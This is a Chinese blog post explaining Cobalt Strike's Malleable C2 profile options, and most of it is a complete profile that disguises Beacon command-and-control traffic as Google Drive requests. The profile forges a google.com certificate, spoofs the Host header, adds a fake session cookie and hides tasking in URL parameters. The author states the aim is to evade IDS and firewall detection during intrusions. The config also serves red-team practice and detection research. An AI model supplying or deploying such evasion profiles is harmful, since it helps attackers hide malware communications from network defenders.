首页 > 其他分享 >CobaltStrike malleable C2 的使用

CobaltStrike malleable C2 的使用

时间:2023-01-16 20:13:37浏览次数:55  
标签:set no cache malleable Content header json CobaltStrike C2

malleable的含义

  英文 Malleable Command and Control

  可扩展的命令和控制

  Malleable C2 是一种特定的语言,主要用来控制 “Cobalt Strike Beacon”攻击载荷中的网络指针(网络参数)

  使用malleable C2

  ./teasmserver [ip][password][/patch/profile]

 

malleable的作用

  可以通过修改c2配置文件,更改beacon中 payload的属性、行为、通过框架修改这些配置文件的属性,伪造正常的通信的流量,实现一些ids 入侵检测防火墙的绕过。现在成熟的ids检测工具 都可以检测出Cobalt Strike 这些著名得商业渗透测试工具。在一些很严格的环境中,被检测出来基本上就很难继续深入进行渗透。

 

profiles配置文件的详解

选项关键词

jitter控制beacon的不稳定的抖动时间

maxdns 控制dns的最大访问次数

sleeptime 控制beacon的睡眠间隔时间

spawnto

uri 请求的url

useragent  每次攻击时的浏览器头信息

 

除了设置Malleable C2的选项外,还能增加任意的http头信息增加到beacon中进行交互通信。

增加任意指定的参数的命令

header "header" "value"

parameter "key" "value"

 

## Google Drive

#set https cert info
https-certificate {
    set CN       "*.google.com"; #Common Name
    set O        "Google Inc"; #Organization Name
    set C        "US"; #Country
    set L        "Mountain View"; #Locality
    set ST       "California"; #State or Province
    set validity "365"; #Number of days the cert is valid for
}

#default Beacon sleep duration and jitter
set sleeptime "60000";
set jitter    "20";

#default useragent for HTTP comms
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

#IP address used to indicate no tasks are available to DNS Beacon
set dns_idle "8.8.4.4";

#Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_sleep "0";

#Maximum length of hostname when uploading data over DNS (0-255)
set maxdns    "235";

http-get {

    set uri "/viewerng/meta";

    client {

        header "Accept" "text/html,application/xml;*/*;";
        header "Accept-Encoding" "gzip, deflate";
        header "Host" "drive.google.com";
        header "Cookie" "SID=KsY0f3fxIeBLQRn2wHMhgJvTkFbWZIEqNyABgX_nveBtm9LeEmsHn6I9OmYzpw;";

        #session metadata
        metadata {
            base64url;
            netbios;
            base64url;
            parameter "id";
        }

        parameter "u" "0";
    }

    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
        header "Pragma" "no-cache";
        header "Content-Disposition" "attachment; filename=\"json.txt\"; filename*=UTF-8''json.txt";
        header "X-Content-Type-Options" "nosniff";
        header "X-Frame-Options" "SAMEORIGIN";
        header "X-XSS-Protection" "1; mode=block";
        header "Server" "GSE";
        header "Connection" "close";


        #Beacon's tasks
        output {
            print;
        }
    }
}

http-post {
    
    set uri "/viewersng/meta";
    set verb "GET";
    
    client {

        header "Accept" "text/html,application/xml;*/*;";
        header "Accept-Encoding" "gzip, deflate";
        header "Host" "drive.google.com";
        header "Cookie" "SID=KsY0f3fxIeBLQRn2wHMhgJvTkFbWZIEqNyABgX_nveBtm9LeEmsHn6I9OmYzpw;";


        output {
            base64url;
            netbios;
            base64url;
            parameter "id";
        }

        #session ID
        id {
            parameter "u";
        }
    }

    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
        header "Pragma" "no-cache";
        header "Content-Disposition" "attachment; filename=\"json.txt\"; filename*=UTF-8''json.txt";
        header "X-Content-Type-Options" "nosniff";
        header "X-Frame-Options" "SAMEORIGIN";
        header "X-XSS-Protection" "1; mode=block";
        header "Server" "GSE";
        header "Connection" "close";


        output {
            print;
        }
    }
}

#change the stager server
http-stager {
    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
        header "Pragma" "no-cache";
    }
}

 

c2lint的使用

c2lint的profiles的文件是否正确

绿色是正常 黄色是警告 红色是错误

    

  

 

CobaltStrike去除流量特征

CobaltStrike去除特征

标签:set,no,cache,malleable,Content,header,json,CobaltStrike,C2
From: https://www.cnblogs.com/CatG0d/p/CobaltStrike_C2.html

相关文章

  • WC2023 做题记录
    Day1下午HammertoFall题意:给你一张\(n\)个点\(m\)条边的边权非负的无向图,每个点上有\(a_i\)个人。总共经过\(q\)天,每天结束时轰炸一个节点\(b_i\)。每天......
  • Atcoder ABC285 赛后总结
    A—EdgeChecker2传送门题目大意给你一棵树,输入两个\(1-15\)的数\(a,b\),求\(a\)是否是\(b\)老爹父亲这颗树如图:题目解法超级无敌暴力法(wu一种最最最简......
  • WC2023:在那开始的之后
    NOIP结束了。我砸了,这意味着初三的整个赛季都注定做不了什么了。想着九上已经过去了,不想赖在之前的那个坑里了,打算借助WC,再刻画一段日常。我需要一个契机,来封存正在发......
  • P7060 [NWRRC2014]Alarm Clock
    Alicelikesherdigitalalarmclock.Shesetsthemupeveryevening.LastnightAlicehadadreamaboutherclock.Unfortunately,theonlythingsheisablet......
  • Havoc C2d的初次使用
    HavocC2简介Havoc是一款现代化的、可扩展的后渗透命令控制框架当前的Havoc版本还处于早期开发版,随着框架的不断成熟,可能会对Havoc的API和核心结构进行大量更改以下......
  • abc243 E - Edge Deletion
    题意:给定无重边无自环的带正权无向连通图,问最多删除几条边能保持所有点对的最短距离不变\(n\le300\)思路:删除边\(u\overset{w}{-}v\)当且仅当原图中存在其它路径的......
  • Atcoder abc275F
    Atcoderabc275F题意:给出一个长度为\(n\)的数组\(A=(a_1​,a_2​,…,a_N)\),问是否能通过删掉一些子段使剩下的数之和为\(q\)。若可以,求出最小操作次数,否则输出−1......
  • 【题解】P4565 [CTSC2018]暴力写挂
    能写点分为什么要写这种玄学东西。思路边分树合并。首先考虑点分,发现只会T飞的做法。但是答案的形式有点意思,换一下写法:\(ans=\frac{1}{2}\max(\operatorname{dis......
  • 【题解】P4292 [WC2010]重建计划
    【乐正绫AI】世末歌者「Cotton」绫绫,有你AI的每一天,我都很幸福[大笑][大笑][大笑]【乐正绫AI】世末歌者【砖厂浪人&TsingClouds】绫绫,有你的每一天,我都很幸福[大笑][大......
  • 【游记】WC2022游记
    我来到了WC2022!Day1下午开幕式。cdqz真的很有排面,虽然开幕式的表演也不怎么好看。还是不错的。很有牌面,希望以后LAS也能这样。Day2wc2022是线上的课。现在刚上了上午......